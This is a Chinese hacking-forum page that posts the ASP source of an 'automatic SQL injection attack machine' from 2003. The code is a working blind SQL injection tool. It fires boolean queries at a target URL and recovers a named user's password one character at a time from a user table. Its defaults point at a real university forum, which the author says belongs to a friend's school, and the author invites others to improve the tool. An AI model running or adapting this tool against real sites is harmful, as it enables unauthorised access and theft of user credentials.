软讯网络 > 网络安全 > 黑客技术 > asp自动注射攻击机1.0版（源程序）
【标 题】：asp自动注射攻击机1.0版（源程序）
【关键字】：
程序,asp,攻击,sp,asp
【来 源】：网络
asp自动注射攻击机1.0版（源程序）
手动注射猜密码，累哦。效率太低。所有想写一个在线版的注射机。
注射机默认的参数，注射的是本版一位朋友所在学校的论坛。
这只是一个很简单的版本，希望有能力的大人们，能帮我完善这个版本，谢谢拉。
<%
Server.ScriptTimeOut =3600
=========================================================
file&: test.asp
Version:1.0
Date: 2003-10-23
Written by iSayNo
=========================================================
Copyright (C) 2003,2004 iSayNo. All rights reserved.
QQ:4263064
=========================================================
%>
<html>
<head>
<title>asp自动注射攻击机1.0</title>
<style type="text/css">
<!--
.table {
border: 1px solid #666666;
}
.mainfont {
font-size: 9pt;
color: #0000FF;
}
-->
</style>
<script language = vbscript>
sub cc()
form1.num2.value=form1.num.value
end sub
</script>
</head>
<body>
<table width="700" border="0" align="center" cellpadding="0" cellspacing="0" class="mainfont">
<tr>
<td><form name=form1 action="test.asp" method="post">
破解字段的长度：
<input name=num type=text class="table" onchange="cc()" value="5" size=5>
效验码：
<input name = "error" type=text class="table" value="border" size= 10>
（如果注射成功，页面上的某个特定字符）<br><br>
测试字符串
<input name="char" type="text" class="table" value="0123456789abcdefghijklmnopqrstuvwxyz" size="50">
<br>
<br>
破解地址：
<input name = "title" type=text class="table" value="http://bbs2.hbnu.edu.cn/main1.asp?no=1"; size= 40>
<strong>and 0<(select count(*) from</strong><br>
<br>
<input name = "admin" type=text class="table" value="user" size= 10>
<strong>where</strong>
<input name = "id" type=text class="table" value="username" size= 10>
=
<input name = "name" type=text class="table" value="网路迷茫" size= 10>
<strong>and left(</strong>
<input name = "pass" type=text class="table" value="userpass" size= 10>
<strong> ,</strong>
<input name="num2" type="text" class="table" id="num2" value="5" size="3" readonly>
<strong>)=破解结果)</strong><br>
<br>
<input name="submit" type = submit>
</form>
<%if request.form("title")<>"" then
Dim strWrongFlag, xml
Set xml = Server.CreateObject("Microsoft.XMLHTTP")
x=request.form("char")
y=""
for i =1 to cint(request.form("num"))
for j = 1 to len(x)
strWrongFlag = request.form("error")
-------------------------------------测试用语句--------------------
response.write request.form("title")&" and 0<(select count(*) from "&request.form("admin")&" where "&request.form("id")&"="&request.form("name")&" and left("&request.form("pass")&","&i&")="&y&mid(x,j,1)&")<br>"
---------------------------------------------------------------
xml.Open "GET", request.form("title")&" and 0<(select count(*) from "&request.form("admin")&" where "&request.form("id")&"="&request.form("name")&" and left("&request.form("pass")&","&i&")="&y&mid(x,j,1)&")", False
xml.Send
If instr(xml.ResponseText, strWrongFlag) <> 0 Then
y=y&mid(x,j,1)
response.write "<br>测试字符第"&i&"位是："&y&"<br>"
end if
If instr(xml.ResponseText, strWrongFlag) <> 0 Then exit for
next
next
Set xml = Nothing
end if
%>
</td>
</tr>
</table>
</body>
</html>
|
|